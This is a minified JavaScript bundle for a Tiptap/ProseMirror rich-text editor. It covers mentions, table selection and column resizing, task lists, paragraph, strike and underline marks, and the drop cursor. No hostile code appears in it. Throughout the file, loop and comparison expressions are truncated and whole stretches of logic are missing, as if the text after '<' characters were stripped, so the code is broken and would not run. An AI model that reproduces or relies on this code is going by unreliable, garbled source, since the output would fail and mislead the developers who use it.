zz=Cn.create({name:"mention",priority:101,addOptions(){return{HTMLAttributes:{},renderText({node:t,suggestion:e}){var n,r;return`${(n=e==null?void 0:e.char)!=null?n:"@"}${(r=t.attrs.label)!=null?r:t.attrs.id}`},deleteTriggerWithBackspace:!1,renderHTML({options:t,node:e,suggestion:n}){var r,a;return["span",St(this.HTMLAttributes,t.HTMLAttributes),`${(r=n==null?void 0:n.char)!=null?r:"@"}${(a=e.attrs.label)!=null?a:e.attrs.id}`]},suggestions:[],suggestion:{}}},group:"inline",inline:!0,selectable:!1,atom:!0,addAttributes(){return{id:{default:null,parseHTML:t=>t.getAttribute("data-id"),renderHTML:t=>t.id?{"data-id":t.id}:{}},label:{default:null,parseHTML:t=>t.getAttribute("data-label"),renderHTML:t=>t.label?{"data-label":t.label}:{}},mentionSuggestionChar:{default:"@",parseHTML:t=>t.getAttribute("data-mention-suggestion-char"),renderHTML:t=>({"data-mention-suggestion-char":t.mentionSuggestionChar})}}},parseHTML(){return[{tag:`span[data-type="${this.name}"]`}]},renderHTML({node:t,HTMLAttributes:e}){const n=UN(this,t.attrs.mentionSuggestionChar);if(this.options.renderLabel!==void 0)return console.warn("renderLabel is deprecated use renderText and renderHTML instead"),["span",St({"data-type":this.name},this.options.HTMLAttributes,e),this.options.renderLabel({options:this.options,node:t,suggestion:n})];const r={...this.options};r.HTMLAttributes=St({"data-type":this.name},this.options.HTMLAttributes,e);const a=this.options.renderHTML({options:r,node:t,suggestion:n});return typeof a=="string"?["span",St({"data-type":this.name},this.options.HTMLAttributes,e),a]:a},...G2({nodeName:"mention",name:"@",selfClosing:!0,allowedAttributes:["id","label",{name:"mentionSuggestionChar",skipIfDefault:"@"}],parseAttributes:t=>{const e={},n=/(\w+)=(?:"([^"]*)"|'([^']*)')/g;let r=n.exec(t);for(;r!==null;){const[,a,i,o]=r,c=i??o;e[a==="char"?"mentionSuggestionChar":a]=c,r=n.exec(t)}return e},serializeAttributes:t=>Object.entries(t).filter(([,e])=>e!=null).map(([e,n])=>`${e==="mentionSuggestionChar"?"char":e}="${n}"`).join(" ")}),renderText({node:t}){const e={options:this.options,node:t,suggestion:UN(this,t.attrs.mentionSuggestionChar)};return this.options.renderLabel!==void 0?(console.warn("renderLabel is deprecated use renderText and renderHTML instead"),this.options.renderLabel(e)):this.options.renderText(e)},addKeyboardShortcuts(){return{Backspace:()=>this.editor.commands.command(({tr:t,state:e})=>{let n=!1;const{selection:r}=e,{empty:a,anchor:i}=r;if(!a)return!1;let o=new wa,c=0;return e.doc.nodesBetween(i-1,i,(u,h)=>{if(u.type.name===this.name)return n=!0,o=u,c=h,!1}),n&&t.insertText(this.options.deleteTriggerWithBackspace?"":o.attrs.mentionSuggestionChar,c,c+o.nodeSize),n})}},addProseMirrorPlugins(){return EC(this).map(Lz)}}),$z=zz,Fz=Cz;let Nx,wx;if(typeof WeakMap<"u"){let t=new WeakMap;Nx=e=>t.get(e),wx=(e,n)=>(t.set(e,n),n)}else{const t=[];let n=0;Nx=r=>{for(let a=0;a(n==10&&(n=0),t[n++]=r,t[n++]=a)}var pn=class{constructor(t,e,n,r){this.width=t,this.height=e,this.map=n,this.problems=r}findCell(t){for(let e=0;e=n){(i||(i=[])).push({type:"overlong_rowspan",pos:f,n:k-E});break}const T=a+E*e;for(let I=0;Ir&&(i+=h.attrs.colspan)}}for(let o=0;o1&&(n=!0)}e==-1?e=i:e!=i&&(e=Math.max(e,i))}return e}function Hz(t,e,n){t.problems||(t.problems=[]);const r={};for(let a=0;a0;e--)if(t.node(e).type.spec.tableRole=="row")return t.node(0).resolve(t.before(e+1));return null}function Uz(t){for(let e=t.depth;e>0;e--){const n=t.node(e).type.spec.tableRole;if(n==="cell"||n==="header_cell")return t.node(e)}return null}function Ms(t){const e=t.selection.$head;for(let n=e.depth;n>0;n--)if(e.node(n).type.spec.tableRole=="row")return!0;return!1}function zf(t){const e=t.selection;if("$anchorCell"in e&&e.$anchorCell)return e.$anchorCell.pos>e.$headCell.pos?e.$anchorCell:e.$headCell;if("node"in e&&e.node&&e.node.type.spec.tableRole=="cell")return e.$anchor;const n=ko(e.$head)||Kz(e.$head);if(n)return n;throw new RangeError(`No cell found around position ${e.head}`)}function Kz(t){for(let e=t.nodeAfter,n=t.pos;e;e=e.firstChild,n++){const r=e.type.spec.tableRole;if(r=="cell"||r=="header_cell")return t.doc.resolve(n)}for(let e=t.nodeBefore,n=t.pos;e;e=e.lastChild,n--){const r=e.type.spec.tableRole;if(r=="cell"||r=="header_cell")return t.doc.resolve(n-e.nodeSize)}}function jx(t){return t.parent.type.spec.tableRole=="row"&&!!t.nodeAfter}function qz(t){return t.node(0).resolve(t.pos+t.nodeAfter.nodeSize)}function q0(t,e){return t.depth==e.depth&&t.pos>=e.start(-1)&&t.pos<=e.end(-1)}function TC(t,e,n){const r=t.node(-1),a=pn.get(r),i=t.start(-1),o=a.nextCell(t.pos-i,e,n);return o==null?null:t.node(0).resolve(i+o)}function So(t,e,n=1){const r={...t,colspan:t.colspan-n};return r.colwidth&&(r.colwidth=r.colwidth.slice(),r.colwidth.splice(e,n),r.colwidth.some(a=>a>0)||(r.colwidth=null)),r}function MC(t,e,n=1){const r={...t,colspan:t.colspan+n};if(r.colwidth){r.colwidth=r.colwidth.slice();for(let a=0;af!=n.pos-i);u.unshift(n.pos-i);const h=u.map(f=>{const m=r.nodeAt(f);if(!m)throw new RangeError(`No cell with offset ${f} found`);const g=i+f+1;return new yS(c.resolve(g),c.resolve(g+m.content.size))});super(h[0].$from,h[0].$to,h),this.$anchorCell=e,this.$headCell=n}map(e,n){const r=e.resolve(n.map(this.$anchorCell.pos)),a=e.resolve(n.map(this.$headCell.pos));if(jx(r)&&jx(a)&&q0(r,a)){const i=this.$anchorCell.node(-1)!=r.node(-1);return i&&this.isRowSelection()?xa.rowSelection(r,a):i&&this.isColSelection()?xa.colSelection(r,a):new xa(r,a)}return Ze.between(r,a)}content(){const e=this.$anchorCell.node(-1),n=pn.get(e),r=this.$anchorCell.start(-1),a=n.rectBetween(this.$anchorCell.pos-r,this.$headCell.pos-r),i={},o=[];for(let u=a.top;u0||v>0){let k=N.attrs;if(w>0&&(k=So(k,0,w)),v>0&&(k=So(k,k.colspan-v,v)),y.lefta.bottom){const k={...N.attrs,rowspan:Math.min(y.bottom,a.bottom)-Math.max(y.top,a.top)};y.top0)return!1;const r=e+this.$anchorCell.nodeAfter.attrs.rowspan,a=n+this.$headCell.nodeAfter.attrs.rowspan;return Math.max(r,a)==this.$headCell.node(-1).childCount}static colSelection(e,n=e){const r=e.node(-1),a=pn.get(r),i=e.start(-1),o=a.findCell(e.pos-i),c=a.findCell(n.pos-i),u=e.node(0);return o.top<=c.top?(o.top>0&&(e=u.resolve(i+a.map[o.left])),c.bottom0&&(n=u.resolve(i+a.map[c.left])),o.bottom0)return!1;const o=a+this.$anchorCell.nodeAfter.attrs.colspan,c=i+this.$headCell.nodeAfter.attrs.colspan;return Math.max(o,c)==n.width}eq(e){return e instanceof xa&&e.$anchorCell.pos==this.$anchorCell.pos&&e.$headCell.pos==this.$headCell.pos}static rowSelection(e,n=e){const r=e.node(-1),a=pn.get(r),i=e.start(-1),o=a.findCell(e.pos-i),c=a.findCell(n.pos-i),u=e.node(0);return o.left<=c.left?(o.left>0&&(e=u.resolve(i+a.map[o.top*a.width])),c.right0&&(n=u.resolve(i+a.map[c.top*a.width])),o.right{e.push(An.node(r,r+n.nodeSize,{class:"selectedCell"}))}),$t.create(t.doc,e)}function Qz({$from:t,$to:e}){if(t.pos==e.pos||t.pos=0&&!(t.after(a+1)=0&&!(e.before(i+1)>e.start(i));i--,r--);return n==r&&/row|table/.test(t.node(a).type.spec.tableRole)}function Xz({$from:t,$to:e}){let n,r;for(let a=t.depth;a>0;a--){const i=t.node(a);if(i.type.spec.tableRole==="cell"||i.type.spec.tableRole==="header_cell"){n=i;break}}for(let a=e.depth;a>0;a--){const i=e.node(a);if(i.type.spec.tableRole==="cell"||i.type.spec.tableRole==="header_cell"){r=i;break}}return n!==r&&e.parentOffset===0}function Zz(t,e,n){const r=(e||t).selection,a=(e||t).doc;let i,o;if(r instanceof Xe&&(o=r.node.type.spec.tableRole)){if(o=="cell"||o=="header_cell")i=Ut.create(a,r.from);else if(o=="row"){const c=a.resolve(r.from+1);i=Ut.rowSelection(c,c)}else if(!n){const c=pn.get(r.node),u=r.from+1,h=u+c.map[c.width*c.height-1];i=Ut.create(a,u+1,h)}}else r instanceof Ze&&Qz(r)?i=Ze.create(a,r.from):r instanceof Ze&&Xz(r)&&(i=Ze.create(a,r.$from.start(),r.$from.end()));return i&&(e||(e=t.tr)).setSelection(i),e}const e$=new tn("fix-tables");function IC(t,e,n,r){const a=t.childCount,i=e.childCount;e:for(let o=0,c=0;o{a.type.spec.tableRole=="table"&&(n=t$(t,a,i,n))};return e?e.doc!=t.doc&&IC(e.doc,t.doc,0,r):t.doc.descendants(r),n}function t$(t,e,n,r){const a=pn.get(e);if(!a.problems)return r;r||(r=t.tr);const i=[];for(let u=0;u0){let y="cell";f.firstChild&&(y=f.firstChild.type.spec.tableRole);const N=[];for(let v=0;v0?-1:0;Gz(e,r,a+i)&&(i=a==0||a==e.width?null:0);for(let o=0;o0&&a0&&e.map[c-1]==u||a0?-1:0;i$(e,r,a+c)&&(c=a==0||a==e.height?null:0);for(let h=0,f=e.width*a;h0&&a0&&m==e.map[f-e.width]){const g=n.nodeAt(m).attrs;t.setNodeMarkup(t.mapping.slice(c).map(m+r),null,{...g,rowspan:g.rowspan-1}),h+=g.colspan-1}else if(a0&&n[i]==n[i-1]||r.right0&&n[a]==n[a-t]||r.bottom0){const f=u+1+h.content.size,m=KN(h)?u+1:f;i.replaceWith(m+r.tableStart,f+r.tableStart,c)}i.setSelection(new Ut(i.doc.resolve(u+r.tableStart))),e(i)}return!0}function GN(t,e){const n=hr(t.schema);return h$(({node:r})=>n[r.type.spec.tableRole])(t,e)}function h$(t){return(e,n)=>{const r=e.selection;let a,i;if(r instanceof Ut){if(r.$anchorCell.pos!=r.$headCell.pos)return!1;a=r.$anchorCell.nodeAfter,i=r.$anchorCell.pos}else{var o;if(a=Uz(r.$from),!a)return!1;i=(o=ko(r.$from))===null||o===void 0?void 0:o.pos}if(a==null||i==null||a.attrs.colspan==1&&a.attrs.rowspan==1)return!1;if(n){let c=a.attrs;const u=[],h=c.colwidth;c.rowspan>1&&(c={...c,rowspan:1}),c.colspan>1&&(c={...c,colspan:1});const f=Js(e),m=e.tr;for(let y=0;y{o.attrs[t]!==e&&i.setNodeMarkup(c,null,{...o.attrs,[t]:e})}):i.setNodeMarkup(a.pos,null,{...a.nodeAfter.attrs,[t]:e}),r(i)}return!0}}function p$(t){return function(e,n){if(!Ms(e))return!1;if(n){const r=hr(e.schema),a=Js(e),i=e.tr,o=a.map.cellsInRect(t=="column"?{left:a.left,top:0,right:a.right,bottom:a.map.height}:t=="row"?{left:0,top:a.top,right:a.map.width,bottom:a.bottom}:a),c=o.map(u=>a.table.nodeAt(u));for(let u=0;u{const y=g+i.tableStart,N=o.doc.nodeAt(y);N&&o.setNodeMarkup(y,m,N.attrs)}),r(o)}return!0}}hd("row",{useDeprecatedLogic:!0});hd("column",{useDeprecatedLogic:!0});const m$=hd("cell",{useDeprecatedLogic:!0});function g$(t,e){if(e<0){const n=t.nodeBefore;if(n)return t.pos-n.nodeSize;for(let r=t.index(-1)-1,a=t.before();r>=0;r--){const i=t.node(-1).child(r),o=i.lastChild;if(o)return a-1-o.nodeSize;a-=i.nodeSize}}else{if(t.index()0;r--)if(n.node(r).type.spec.tableRole=="table")return e&&e(t.tr.delete(n.before(r),n.after(r)).scrollIntoView()),!0;return!1}function qu(t,e){const n=t.selection;if(!(n instanceof Ut))return!1;if(e){const r=t.tr,a=hr(t.schema).cell.createAndFill().content;n.forEachCell((i,o)=>{i.content.eq(a)||r.replace(r.mapping.map(o+1),r.mapping.map(o+i.nodeSize-1),new Ie(a,0,0))}),r.docChanged&&e(r)}return!0}function y$(t){if(t.size===0)return null;let{content:e,openStart:n,openEnd:r}=t;for(;e.childCount==1&&(n>0&&r>0||e.child(0).type.spec.tableRole=="table");)n--,r--,e=e.child(0).content;const a=e.child(0),i=a.type.spec.tableRole,o=a.type.schema,c=[];if(i=="row")for(let u=0;u=0;o--){const{rowspan:c,colspan:u}=i.child(o).attrs;for(let h=a;h=e.length&&e.push(be.empty),n[a]r&&(g=g.type.createChecked(So(g.attrs,g.attrs.colspan,f+g.attrs.colspan-r),g.content)),h.push(g),f+=g.attrs.colspan;for(let y=1;ya&&(m=m.type.create({...m.attrs,rowspan:Math.max(1,a-m.attrs.rowspan)},m.content)),u.push(m)}i.push(be.from(u))}n=i,e=a}return{width:t,height:e,rows:n}}function N$(t,e,n,r,a,i,o){const c=t.doc.type.schema,u=hr(c);let h,f;if(a>e.width)for(let m=0,g=0;me.height){const m=[];for(let N=0,w=(e.height-1)*e.width;N=e.width?!1:n.nodeAt(e.map[w+N]).type==u.header_cell;m.push(v?f||(f=u.header_cell.createAndFill()):h||(h=u.cell.createAndFill()))}const g=u.row.create(null,be.from(m)),y=[];for(let N=e.height;N{if(!a)return!1;const i=n.selection;if(i instanceof Ut)return ah(n,r,rt.near(i.$headCell,e));if(t!="horiz"&&!i.empty)return!1;const o=DC(a,t,e);if(o==null)return!1;if(t=="horiz")return ah(n,r,rt.near(n.doc.resolve(i.head+e),e));{const c=n.doc.resolve(o),u=TC(c,t,e);let h;return u?h=rt.near(u,1):e<0?h=rt.near(n.doc.resolve(c.before(-1)),-1):h=rt.near(n.doc.resolve(c.after(-1)),1),ah(n,r,h)}}}function Ju(t,e){return(n,r,a)=>{if(!a)return!1;const i=n.selection;let o;if(i instanceof Ut)o=i;else{const u=DC(a,t,e);if(u==null)return!1;o=new Ut(n.doc.resolve(u))}const c=TC(o.$headCell,t,e);return c?ah(n,r,new Ut(o.$anchorCell,c)):!1}}function j$(t,e){const n=t.state.doc,r=ko(n.resolve(e));return r?(t.dispatch(t.state.tr.setSelection(new Ut(r))),!0):!1}function k$(t,e,n){if(!Ms(t.state))return!1;let r=y$(n);const a=t.state.selection;if(a instanceof Ut){r||(r={width:1,height:1,rows:[be.from(kx(hr(t.state.schema).cell,n))]});const i=a.$anchorCell.node(-1),o=a.$anchorCell.start(-1),c=pn.get(i).rectBetween(a.$anchorCell.pos-o,a.$headCell.pos-o);return r=v$(r,c.right-c.left,c.bottom-c.top),ZN(t.state,t.dispatch,o,c,r),!0}else if(r){const i=zf(t.state),o=i.start(-1);return ZN(t.state,t.dispatch,o,pn.get(i.node(-1)).findCell(i.pos-o),r),!0}else return!1}function S$(t,e){var n;if(e.button!=0||e.ctrlKey||e.metaKey)return;const r=ew(t,e.target);let a;if(e.shiftKey&&t.state.selection instanceof Ut)i(t.state.selection.$anchorCell,e),e.preventDefault();else if(e.shiftKey&&r&&(a=ko(t.state.selection.$anchor))!=null&&((n=yg(t,e))===null||n===void 0?void 0:n.pos)!=a.pos)i(a,e),e.preventDefault();else if(!r)return;function i(u,h){let f=yg(t,h);const m=ii.getState(t.state)==null;if(!f||!q0(u,f))if(m)f=u;else return;const g=new Ut(u,f);if(m||!t.state.selection.eq(g)){const y=t.state.tr.setSelection(g);m&&y.setMeta(ii,u.pos),t.dispatch(y)}}function o(){t.root.removeEventListener("mouseup",o),t.root.removeEventListener("dragstart",o),t.root.removeEventListener("mousemove",c),ii.getState(t.state)!=null&&t.dispatch(t.state.tr.setMeta(ii,-1))}function c(u){const h=u,f=ii.getState(t.state);let m;if(f!=null)m=t.state.doc.resolve(f);else if(ew(t,h.target)!=r&&(m=yg(t,e),!m))return o();m&&i(m,h)}t.root.addEventListener("mouseup",o),t.root.addEventListener("dragstart",o),t.root.addEventListener("mousemove",c)}function DC(t,e,n){if(!(t.state.selection instanceof Ze))return null;const{$head:r}=t.state.selection;for(let a=r.depth-1;a>=0;a--){const i=r.node(a);if((n<0?r.index(a):r.indexAfter(a))!=(n<0?0:i.childCount))return null;if(i.type.spec.tableRole=="cell"||i.type.spec.tableRole=="header_cell"){const o=r.before(a),c=e=="vert"?n>0?"down":"up":n>0?"right":"left";return t.endOfTextblock(c)?o:null}}return null}function ew(t,e){for(;e&&e!=t.dom;e=e.parentNode)if(e.nodeName=="TD"||e.nodeName=="TH")return e;return null}function yg(t,e){const n=t.posAtCoords({left:e.clientX,top:e.clientY});if(!n)return null;let{inside:r,pos:a}=n;return r>=0&&ko(t.state.doc.resolve(r))||ko(t.state.doc.resolve(a))}var C$=class{constructor(e,n){this.node=e,this.defaultCellMinWidth=n,this.dom=document.createElement("div"),this.dom.className="tableWrapper",this.table=this.dom.appendChild(document.createElement("table")),this.table.style.setProperty("--default-cell-min-width",`${n}px`),this.colgroup=this.table.appendChild(document.createElement("colgroup")),Sx(e,this.colgroup,this.table,n),this.contentDOM=this.table.appendChild(document.createElement("tbody"))}update(e){return e.type!=this.node.type?!1:(this.node=e,Sx(e,this.colgroup,this.table,this.defaultCellMinWidth),!0)}ignoreMutation(e){return e.type=="attributes"&&(e.target==this.table||this.colgroup.contains(e.target))}};function Sx(t,e,n,r,a,i){let o=0,c=!0,u=e.firstChild;const h=t.firstChild;if(h){for(let m=0,g=0;mnew r(m,n,g)),new T$(-1,!1)},apply(o,c){return c.apply(o)}},props:{attributes:o=>{const c=Fr.getState(o);return c&&c.activeHandle>-1?{class:"resize-cursor"}:{}},handleDOMEvents:{mousemove:(o,c)=>{M$(o,c,t,a)},mouseleave:o=>{A$(o)},mousedown:(o,c)=>{I$(o,c,e,n)}},decorations:o=>{const c=Fr.getState(o);if(c&&c.activeHandle>-1)return L$(o,c.activeHandle)},nodeViews:{}}});return i}var T$=class ih{constructor(e,n){this.activeHandle=e,this.dragging=n}apply(e){const n=this,r=e.getMeta(Fr);if(r&&r.setHandle!=null)return new ih(r.setHandle,!1);if(r&&r.setDragging!==void 0)return new ih(n.activeHandle,r.setDragging);if(n.activeHandle>-1&&e.docChanged){let a=e.mapping.map(n.activeHandle,-1);return jx(e.doc.resolve(a))||(a=-1),new ih(a,n.dragging)}return n}};function M$(t,e,n,r){if(!t.editable)return;const a=Fr.getState(t.state);if(a&&!a.dragging){const i=P$(e.target);let o=-1;if(i){const{left:c,right:u}=i.getBoundingClientRect();e.clientX-c<=n?o=tw(t,e,"left",n):u-e.clientX<=n&&(o=tw(t,e,"right",n))}if(o!=a.activeHandle){if(!r&&o!==-1){const c=t.state.doc.resolve(o),u=c.node(-1),h=pn.get(u),f=c.start(-1);if(h.colCount(c.pos-f)+c.nodeAfter.attrs.colspan-1==h.width-1)return}LC(t,o)}}}function A$(t){if(!t.editable)return;const e=Fr.getState(t.state);e&&e.activeHandle>-1&&!e.dragging&&LC(t,-1)}function I$(t,e,n,r){var a;if(!t.editable)return!1;const i=(a=t.dom.ownerDocument.defaultView)!==null&&a!==void 0?a:window,o=Fr.getState(t.state);if(!o||o.activeHandle==-1||o.dragging)return!1;const c=t.state.doc.nodeAt(o.activeHandle),u=R$(t,o.activeHandle,c.attrs);t.dispatch(t.state.tr.setMeta(Fr,{setDragging:{startX:e.clientX,startWidth:u}}));function h(m){i.removeEventListener("mouseup",h),i.removeEventListener("mousemove",f);const g=Fr.getState(t.state);g!=null&&g.dragging&&(O$(t,g.activeHandle,nw(g.dragging,m,n)),t.dispatch(t.state.tr.setMeta(Fr,{setDragging:null})))}function f(m){if(!m.which)return h(m);const g=Fr.getState(t.state);if(g&&g.dragging){const y=nw(g.dragging,m,n);rw(t,g.activeHandle,y,r)}}return rw(t,o.activeHandle,u,r),i.addEventListener("mouseup",h),i.addEventListener("mousemove",f),e.preventDefault(),!0}function R$(t,e,{colspan:n,colwidth:r}){const a=r&&r[r.length-1];if(a)return a;const i=t.domAtPos(e);let o=i.node.childNodes[i.offset].offsetWidth,c=n;if(r)for(let u=0;u{var e,n;const r=t.getAttribute("colwidth"),a=r?r.split(",").map(i=>parseInt(i,10)):null;if(!a){const i=(e=t.closest("table"))==null?void 0:e.querySelectorAll("colgroup > col"),o=Array.from(((n=t.parentElement)==null?void 0:n.children)||[]).indexOf(t);if(o&&o>-1&&i&&i[o]){const c=i[o].getAttribute("width");return c?[parseInt(c,10)]:null}}return a}}}},tableRole:"cell",isolating:!0,parseHTML(){return[{tag:"td"}]},renderHTML({HTMLAttributes:t}){return["td",St(this.options.HTMLAttributes,t),0]}}),zC=Cn.create({name:"tableHeader",addOptions(){return{HTMLAttributes:{}}},content:"block+",addAttributes(){return{colspan:{default:1},rowspan:{default:1},colwidth:{default:null,parseHTML:t=>{const e=t.getAttribute("colwidth");return e?e.split(",").map(r=>parseInt(r,10)):null}}}},tableRole:"header_cell",isolating:!0,parseHTML(){return[{tag:"th"}]},renderHTML({HTMLAttributes:t}){return["th",St(this.options.HTMLAttributes,t),0]}}),$C=Cn.create({name:"tableRow",addOptions(){return{HTMLAttributes:{}}},content:"(tableCell | tableHeader)*",tableRole:"row",parseHTML(){return[{tag:"tr"}]},renderHTML({HTMLAttributes:t}){return["tr",St(this.options.HTMLAttributes,t),0]}});function Cx(t,e){return e?["width",`${Math.max(e,t)}px`]:["min-width",`${t}px`]}function sw(t,e,n,r,a,i){var o;let c=0,u=!0,h=e.firstChild;const f=t.firstChild;if(f!==null)for(let g=0,y=0;g{const r=t.nodes[n];r.spec.tableRole&&(e[r.spec.tableRole]=r)}),t.cached.tableNodeTypes=e,e}function B$(t,e,n,r,a){const i=F$(t),o=[],c=[];for(let h=0;h{const{selection:e}=t.state;if(!V$(e))return!1;let n=0;const r=w2(e.ranges[0].$from,i=>i.type.name==="table");return r==null||r.node.descendants(i=>{if(i.type.name==="table")return!1;["tableCell","tableHeader"].includes(i.type.name)&&(n+=1)}),n===e.ranges.length?(t.commands.deleteTable(),!0):!1},H$="";function W$(t){return(t||"").replace(/\s+/g," ").trim()}function U$(t,e,n={}){var r;const a=(r=n.cellLineSeparator)!=null?r:H$;if(!t||!t.content||t.content.length===0)return"";const i=[];t.content.forEach(N=>{const w=[];N.content&&N.content.forEach(v=>{let k="";v.content&&Array.isArray(v.content)&&v.content.length>1?k=v.content.map(I=>e.renderChildren(I)).join(a):k=v.content?e.renderChildren(v.content):"";const C=W$(k),E=v.type==="tableHeader";w.push({text:C,isHeader:E})}),i.push(w)});const o=i.reduce((N,w)=>Math.max(N,w.length),0);if(o===0)return"";const c=new Array(o).fill(0);i.forEach(N=>{var w;for(let v=0;vc[v]&&(c[v]=C),c[v]<3&&(c[v]=3)}});const u=(N,w)=>N+" ".repeat(Math.max(0,w-N.length)),h=i[0],f=h.some(N=>N.isHeader);let m=` +`):"",markdownTokenizer:{name:"taskList",level:"block",start(t){var e;const n=(e=t.match(/^\s*[-+*]\s+\[([ xX])\]\s+/))==null?void 0:e.index;return n!==void 0?n:-1},tokenize(t,e,n){const r=i=>{const o=cx(i,{itemPattern:/^(\s*)([-+*])\s+\[([ xX])\]\s+(.*)$/,extractItemData:c=>({indentLevel:c[1].length,mainContent:c[4],checked:c[3].toLowerCase()==="x"}),createToken:(c,u)=>({type:"taskItem",raw:"",mainContent:c.mainContent,indentLevel:c.indentLevel,checked:c.checked,text:c.mainContent,tokens:n.inlineTokens(c.mainContent),nestedTokens:u}),customNestedParser:r},n);return o?[{type:"taskList",raw:o.raw,items:o.items}]:n.blockTokens(i)},a=cx(t,{itemPattern:/^(\s*)([-+*])\s+\[([ xX])\]\s+(.*)$/,extractItemData:i=>({indentLevel:i[1].length,mainContent:i[4],checked:i[3].toLowerCase()==="x"}),createToken:(i,o)=>({type:"taskItem",raw:"",mainContent:i.mainContent,indentLevel:i.indentLevel,checked:i.checked,text:i.mainContent,tokens:n.inlineTokens(i.mainContent),nestedTokens:o}),customNestedParser:r},n);if(a)return{type:"taskList",raw:a.raw,items:a.items}}},markdownOptions:{indentsContent:!0},addCommands(){return{toggleTaskList:()=>({commands:t})=>t.toggleList(this.name,this.options.itemTypeName)}},addKeyboardShortcuts(){return{"Mod-Shift-9":()=>this.editor.commands.toggleTaskList()}}});mn.create({name:"listKit",addExtensions(){const t=[];return this.options.bulletList!==!1&&t.push(uC.configure(this.options.bulletList)),this.options.listItem!==!1&&t.push(hC.configure(this.options.listItem)),this.options.listKeymap!==!1&&t.push(yC.configure(this.options.listKeymap)),this.options.orderedList!==!1&&t.push(vC.configure(this.options.orderedList)),this.options.taskItem!==!1&&t.push(Y7.configure(this.options.taskItem)),this.options.taskList!==!1&&t.push(Q7.configure(this.options.taskList)),t}});var FN=" ",X7=" ",Z7=Cn.create({name:"paragraph",priority:1e3,addOptions(){return{HTMLAttributes:{}}},group:"block",content:"inline*",parseHTML(){return[{tag:"p"}]},renderHTML({HTMLAttributes:t}){return["p",St(this.options.HTMLAttributes,t),0]},parseMarkdown:(t,e)=>{const n=t.tokens||[];if(n.length===1&&n[0].type==="image")return e.parseChildren([n[0]]);const r=e.parseInline(n);return r.length===1&&r[0].type==="text"&&(r[0].text===FN||r[0].text===X7)?e.createNode("paragraph",void 0,[]):e.createNode("paragraph",void 0,r)},renderMarkdown:(t,e)=>{if(!t)return"";const n=Array.isArray(t.content)?t.content:[];return n.length===0?FN:e.renderChildren(n)},addCommands(){return{setParagraph:()=>({commands:t})=>t.setNode(this.name)}},addKeyboardShortcuts(){return{"Mod-Alt-0":()=>this.editor.commands.setParagraph()}}}),ez=/(?:^|\s)(~~(?!\s+~~)((?:[^~]+))~~(?!\s+~~))$/,tz=/(?:^|\s)(~~(?!\s+~~)((?:[^~]+))~~(?!\s+~~))/g,nz=Ao.create({name:"strike",addOptions(){return{HTMLAttributes:{}}},parseHTML(){return[{tag:"s"},{tag:"del"},{tag:"strike"},{style:"text-decoration",consuming:!1,getAttrs:t=>t.includes("line-through")?{}:!1}]},renderHTML({HTMLAttributes:t}){return["s",St(this.options.HTMLAttributes,t),0]},markdownTokenName:"del",parseMarkdown:(t,e)=>e.applyMark("strike",e.parseInline(t.tokens||[])),renderMarkdown:(t,e)=>`~~${e.renderChildren(t)}~~`,addCommands(){return{setStrike:()=>({commands:t})=>t.setMark(this.name),toggleStrike:()=>({commands:t})=>t.toggleMark(this.name),unsetStrike:()=>({commands:t})=>t.unsetMark(this.name)}},addKeyboardShortcuts(){return{"Mod-Shift-s":()=>this.editor.commands.toggleStrike()}},addInputRules(){return[Ml({find:ez,type:this.type})]},addPasteRules(){return[jo({find:tz,type:this.type})]}}),rz=Cn.create({name:"text",group:"inline",parseMarkdown:t=>({type:"text",text:t.text||""}),renderMarkdown:t=>t.text||""}),sz=Ao.create({name:"underline",addOptions(){return{HTMLAttributes:{}}},parseHTML(){return[{tag:"u"},{style:"text-decoration",consuming:!1,getAttrs:t=>t.includes("underline")?{}:!1}]},renderHTML({HTMLAttributes:t}){return["u",St(this.options.HTMLAttributes,t),0]},parseMarkdown(t,e){return e.applyMark(this.name||"underline",e.parseInline(t.tokens||[]))},renderMarkdown(t,e){return`++${e.renderChildren(t)}++`},markdownTokenizer:{name:"underline",level:"inline",start(t){return t.indexOf("++")},tokenize(t,e,n){const a=/^(\+\+)([\s\S]+?)(\+\+)/.exec(t);if(!a)return;const i=a[2].trim();return{type:"underline",raw:a[0],text:i,tokens:n.inlineTokens(i)}}},addCommands(){return{setUnderline:()=>({commands:t})=>t.setMark(this.name),toggleUnderline:()=>({commands:t})=>t.toggleMark(this.name),unsetUnderline:()=>({commands:t})=>t.unsetMark(this.name)}},addKeyboardShortcuts(){return{"Mod-u":()=>this.editor.commands.toggleUnderline(),"Mod-U":()=>this.editor.commands.toggleUnderline()}}});function az(t={}){return new Kt({view(e){return new iz(e,t)}})}class iz{constructor(e,n){var r;this.editorView=e,this.cursorPos=null,this.element=null,this.timeout=-1,this.width=(r=n.width)!==null&&r!==void 0?r:1,this.color=n.color===!1?void 0:n.color||"black",this.class=n.class,this.handlers=["dragover","dragend","drop","dragleave"].map(a=>{let i=o=>{this[a](o)};return e.dom.addEventListener(a,i),{name:a,handler:i}})}destroy(){this.handlers.forEach(({name:e,handler:n})=>this.editorView.dom.removeEventListener(e,n))}update(e,n){this.cursorPos!=null&&n.doc!=e.state.doc&&(this.cursorPos>e.state.doc.content.size?this.setCursor(null):this.updateOverlay())}setCursor(e){e!=this.cursorPos&&(this.cursorPos=e,e==null?(this.element.parentNode.removeChild(this.element),this.element=null):this.updateOverlay())}updateOverlay(){let e=this.editorView.state.doc.resolve(this.cursorPos),n=!e.parent.inlineContent,r,a=this.editorView.dom,i=a.getBoundingClientRect(),o=i.width/a.offsetWidth,c=i.height/a.offsetHeight;if(n){let m=e.nodeBefore,g=e.nodeAfter;if(m||g){let y=this.editorView.nodeDOM(this.cursorPos-(m?m.nodeSize:0));if(y){let N=y.getBoundingClientRect(),w=m?N.bottom:N.top;m&&g&&(w=(w+this.editorView.nodeDOM(this.cursorPos).getBoundingClientRect().top)/2);let v=this.width/2*c;r={left:N.left,right:N.right,top:w-v,bottom:w+v}}}}if(!r){let m=this.editorView.coordsAtPos(this.cursorPos),g=this.width/2*o;r={left:m.left-g,right:m.left+g,top:m.top,bottom:m.bottom}}let u=this.editorView.dom.offsetParent;this.element||(this.element=u.appendChild(document.createElement("div")),this.class&&(this.element.className=this.class),this.element.style.cssText="position: absolute; z-index: 50; pointer-events: none;",this.color&&(this.element.style.backgroundColor=this.color)),this.element.classList.toggle("prosemirror-dropcursor-block",n),this.element.classList.toggle("prosemirror-dropcursor-inline",!n);let h,f;if(!u||u==document.body&&getComputedStyle(u).position=="static")h=-pageXOffset,f=-pageYOffset;else{let 